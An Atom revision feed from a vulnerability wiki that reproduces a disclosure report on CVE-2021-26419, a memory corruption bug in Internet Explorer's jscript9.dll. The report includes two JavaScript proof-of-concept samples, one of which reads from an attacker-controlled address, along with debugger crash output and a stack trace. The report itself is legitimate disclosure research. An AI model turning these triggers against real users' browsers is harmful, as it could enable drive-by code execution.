<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26419_Internet_Explorer_jscript9.dll_%E5%85%A7%E5%AD%98%E6%90%8D%E5%A3%9E%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-26419 Internet Explorer jscript9.dll 內存損壞漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26419_Internet_Explorer_jscript9.dll_%E5%85%A7%E5%AD%98%E6%90%8D%E5%A3%9E%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26419_Internet_Explorer_jscript9.dll_%E5%85%A7%E5%AD%98%E6%90%8D%E5%A3%9E%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-14T14:35:05Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-26419_Internet_Explorer_jscript9.dll_%E5%85%A7%E5%AD%98%E6%90%8D%E5%A3%9E%E6%BC%8F%E6%B4%9E&amp;diff=2853&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; Internet Explorer: Memory corruption in jscript9.dll related to scope of the arguments object  There is a vulnerability in jscript9 that could be potentially use...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26419_Internet_Explorer_jscript9.dll_%E5%85%A7%E5%AD%98%E6%90%8D%E5%A3%9E%E6%BC%8F%E6%B4%9E&amp;diff=2853&amp;oldid=prev"/>
		<updated>2021-05-14T01:54:28Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; Internet Explorer: Memory corruption in jscript9.dll related to scope of the arguments object  There is a vulnerability in jscript9 that could be potentially use...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Internet Explorer: Memory corruption in jscript9.dll related to scope of the arguments object&lt;br /&gt;
&lt;br /&gt;
There is a vulnerability in jscript9 that could be potentially used by an attacker to execute arbitrary code when viewing attacker-controlled website in Internet Explorer. The vulnerability has been confirmed on Windows 10 64-bit with the latest security patches applied.&lt;br /&gt;
&lt;br /&gt;
The following minimal sample is sufficient to trigger the bug:&lt;br /&gt;
&lt;br /&gt;
############################################################&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- saved from url=(0014)about:internet --&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
function main() {&lt;br /&gt;
  function v4(v5,v6) {&lt;br /&gt;
    with ({}) {&lt;br /&gt;
      arguments();&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
  for(var i=0; i &amp;lt;1; i++) v4(1);&lt;br /&gt;
}&lt;br /&gt;
alert('start');&lt;br /&gt;
main();&lt;br /&gt;
alert('end');&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
############################################################&lt;br /&gt;
&lt;br /&gt;
When this sample is opened with Internet Explorer, it crashes inside jscript9!Js::JavascriptFunction::CallFunction&amp;lt;1&amp;gt; when dereferencing memory pointed to by eax.&lt;br /&gt;
&lt;br /&gt;
jscript9!Js::JavascriptFunction::CallFunction&amp;lt;1&amp;gt;+0x39:&lt;br /&gt;
68c2d6e9 8bb850020000    mov     edi,dword ptr [eax+250h] ds:002b:00000250=????????&lt;br /&gt;
&lt;br /&gt;
On the first glance, it might look like a null pointer dereference, however the value of eax in this case was read from uninitialized memory. There are also different ways to trigger the crash when accessing the arguments object. The following sample demonstrates a crash when reading from a controllable address:&lt;br /&gt;
&lt;br /&gt;
############################################################&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;!-- saved from url=(0014)about:internet --&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
function test() {&lt;br /&gt;
  test.caller.arguments.length = (0x13371337&amp;gt;&amp;gt;1);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function main() {&lt;br /&gt;
  function v4(v5,v6) {&lt;br /&gt;
    test();&lt;br /&gt;
    with ({}) {&lt;br /&gt;
      arguments.length;&lt;br /&gt;
      arguments();&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
  for(var i=0; i &amp;lt;1; i++) v4(1);&lt;br /&gt;
}&lt;br /&gt;
alert('start');&lt;br /&gt;
main();&lt;br /&gt;
alert('end');&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
############################################################&lt;br /&gt;
&lt;br /&gt;
This sample crashes in Js::JavascriptOperators::GetProperty_Internal when dereferencing address 0x13371337+40h:&lt;br /&gt;
&lt;br /&gt;
jscript9!Js::JavascriptOperators::GetProperty_Internal&amp;lt;0&amp;gt;+0x35:&lt;br /&gt;
68b578b5 8b7840          mov     edi,dword ptr [eax+40h] ds:002b:13371377=????????&lt;br /&gt;
&lt;br /&gt;
The value read this way is used as a function pointer, thus demonstrating the vulnerability could be used for code execution.&lt;br /&gt;
&lt;br /&gt;
I haven't done the full root cause analysis (it will be easier to do with proper debug tooling for jscript9), but in both cases, the operations on 'arguments' object end up being performed on incorrect data. I suspect this is related to changing the scope, e.g. accessing an object at an incorrect stack slot due to scope change. Another possibility could be an incorrectly initialized arguments object or the corresponding local variable.&lt;br /&gt;
&lt;br /&gt;
Full debug log:&lt;br /&gt;
&lt;br /&gt;
############################################################&lt;br /&gt;
&lt;br /&gt;
(1654.14e8): Access violation - code c0000005 (first chance)&lt;br /&gt;
First chance exceptions are reported before any exception handling.&lt;br /&gt;
This exception may be expected and handled.&lt;br /&gt;
eax=13371337 ebx=0910bbe0 ecx=0910bbe0 edx=0910bbe0 esi=092b8240 edi=00000000&lt;br /&gt;
eip=68b578b5 esp=053bc578 ebp=053bc590 iopl=0         nv up ei pl nz na pe nc&lt;br /&gt;
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206&lt;br /&gt;
jscript9!Js::JavascriptOperators::GetProperty_Internal&amp;lt;0&amp;gt;+0x35:&lt;br /&gt;
68b578b5 8b7840          mov     edi,dword ptr [eax+40h] ds:002b:13371377=????????&lt;br /&gt;
&lt;br /&gt;
0:009&amp;gt; k&lt;br /&gt;
 # ChildEBP RetAddr  &lt;br /&gt;
00 053bc590 68b69075 jscript9!Js::JavascriptOperators::GetProperty_Internal&amp;lt;0&amp;gt;+0x35&lt;br /&gt;
01 053bc5dc 68b9d19d jscript9!Js::InterpreterStackFrame::OP_ProfiledLdLen&amp;lt;Js::OpLayoutReg2_OneByte&amp;gt;+0x1f5&lt;br /&gt;
02 053bc608 68b9c102 jscript9!Js::InterpreterStackFrame::Process+0x7fd&lt;br /&gt;
03 053bc744 0b9a0fd9 jscript9!Js::InterpreterStackFrame::InterpreterThunk&amp;lt;1&amp;gt;+0x242&lt;br /&gt;
WARNING: Frame IP not in any known module. Following frames may be wrong.&lt;br /&gt;
04 053bc750 68c2d743 0xb9a0fd9&lt;br /&gt;
05 053bc798 68b9ff61 jscript9!Js::JavascriptFunction::CallFunction&amp;lt;1&amp;gt;+0x93&lt;br /&gt;
06 053bc7c8 68b9cb53 jscript9!Js::InterpreterStackFrame::OP_ProfiledCallI&amp;lt;Js::OpLayoutCallI_OneByte&amp;gt;+0x121&lt;br /&gt;
07 053bc7f8 68b9c102 jscript9!Js::InterpreterStackFrame::Process+0x1b3&lt;br /&gt;
08 053bc934 0b9a0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk&amp;lt;1&amp;gt;+0x242&lt;br /&gt;
09 053bc940 68c2d743 0xb9a0fe1&lt;br /&gt;
0a 053bc988 68b9ff61 jscript9!Js::JavascriptFunction::CallFunction&amp;lt;1&amp;gt;+0x93&lt;br /&gt;
0b 053bc9b8 68b9cb53 jscript9!Js::InterpreterStackFrame::OP_ProfiledCallI&amp;lt;Js::OpLayoutCallI_OneByte&amp;gt;+0x121&lt;br /&gt;
0c 053bc9e8 68b9c102 jscript9!Js::InterpreterStackFrame::Process+0x1b3&lt;br /&gt;
0d 053bcb14 0b9a0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk&amp;lt;1&amp;gt;+0x242&lt;br /&gt;
0e 053bcb20 68c2d743 0xb9a0fe9&lt;br /&gt;
0f 053bcb60 68b4eca9 jscript9!Js::JavascriptFunction::CallFunction&amp;lt;1&amp;gt;+0x93&lt;br /&gt;
10 053bcbd4 68b4ebbc jscript9!Js::JavascriptFunction::CallRootFunctionInternal+0xb5&lt;br /&gt;
11 053bcc2c 68b4eb56 jscript9!Js::JavascriptFunction::CallRootFunction+0x4d&lt;br /&gt;
12 053bcc74 68b4eabd jscript9!ScriptSite::CallRootFunction+0x42&lt;br /&gt;
13 053bccb0 68b5256e jscript9!ScriptSite::Execute+0xae&lt;br /&gt;
14 053bcd48 68b4e9aa jscript9!ScriptEngine::ExecutePendingScripts+0x1bf&lt;br /&gt;
15 053bcde0 68c27cca jscript9!ScriptEngine::ParseScriptTextCore+0x32c&lt;br /&gt;
16 053bce30 695a9cc1 jscript9!ScriptEngine::ParseScriptText+0x5a&lt;br /&gt;
17 053bce68 694a0493 MSHTML!InitializeLocalHtmlEngine+0x1f11&lt;br /&gt;
18 053bcec0 694b7fe7 MSHTML!GetWebPlatformObject+0x16c93&lt;br /&gt;
19 053bcf30 694b8493 MSHTML!GetWebPlatformObject+0x2e7e7&lt;br /&gt;
1a 053bd01c 694b87be MSHTML!GetWebPlatformObject+0x2ec93&lt;br /&gt;
1b 053bd098 694b8146 MSHTML!GetWebPlatformObject+0x2efbe&lt;br /&gt;
1c 053bd0b8 694d79d9 MSHTML!GetWebPlatformObject+0x2e946&lt;br /&gt;
1d 053bd110 694d6bb9 MSHTML!UninitializeLocalHtmlEngine+0x8b49&lt;br /&gt;
1e 053bd134 694d653e MSHTML!UninitializeLocalHtmlEngine+0x7d29&lt;br /&gt;
1f 053bd25c 695d4891 MSHTML!UninitializeLocalHtmlEngine+0x76ae&lt;br /&gt;
20 053bd27c 695d47fb MSHTML!DllGetClassObject+0x7291&lt;br /&gt;
21 053bd29c 695d478d MSHTML!DllGetClassObject+0x71fb&lt;br /&gt;
22 053bd2e8 695d46a7 MSHTML!DllGetClassObject+0x718d&lt;br /&gt;
23 053bd300 6950dccc MSHTML!DllGetClassObject+0x70a7&lt;br /&gt;
24 053bd378 6967d357 MSHTML!TravelLogCreateInstance+0x25cec&lt;br /&gt;
25 053bd3c8 69510f32 MSHTML!DllCanUnloadNow+0x13957&lt;br /&gt;
26 053bd3e4 76d0ef5b MSHTML!TravelLogCreateInstance+0x28f52&lt;br /&gt;
27 053bd410 76d05eca USER32!_InternalCallWinProc+0x2b&lt;br /&gt;
28 053bd4f4 76d03c3a USER32!UserCallWinProcCheckWow+0x33a&lt;br /&gt;
29 053bd568 76d03a00 USER32!DispatchMessageWorker+0x22a&lt;br /&gt;
2a 053bd574 6ad32cd4 USER32!DispatchMessageW+0x10&lt;br /&gt;
2b 053bf720 6ad31db3 IEFRAME!Ordinal245+0x1cb4&lt;br /&gt;
2c 053bf7e0 6a5bcb2c IEFRAME!Ordinal245+0xd93&lt;br /&gt;
2d 053bf7f8 731e26ed msIso+0x1cb2c&lt;br /&gt;
2e 053bf830 756cfa29 IEShims!NS_CreateThread::AutomationIE_ThreadProc+0x8d&lt;br /&gt;
2f 053bf840 770676b4 KERNEL32!BaseThreadInitThunk+0x19&lt;br /&gt;
30 053bf89c 77067684 ntdll!RtlGetAppContainerNamedObjectPath+0xe4&lt;br /&gt;
31 053bf8ac 00000000 ntdll!RtlGetAppContainerNamedObjectPath+0xb4&lt;br /&gt;
&lt;br /&gt;
############################################################&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This bug is subject to a 90 day disclosure deadline. After 90 days elapse,&lt;br /&gt;
the bug report will become visible to the public. The scheduled disclosure&lt;br /&gt;
date is 2021-05-13. Disclosure at an earlier date is possible if&lt;br /&gt;
agreed upon by all parties.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Related CVE Numbers: CVE-2021-26419.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Found by: ifratric@google.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>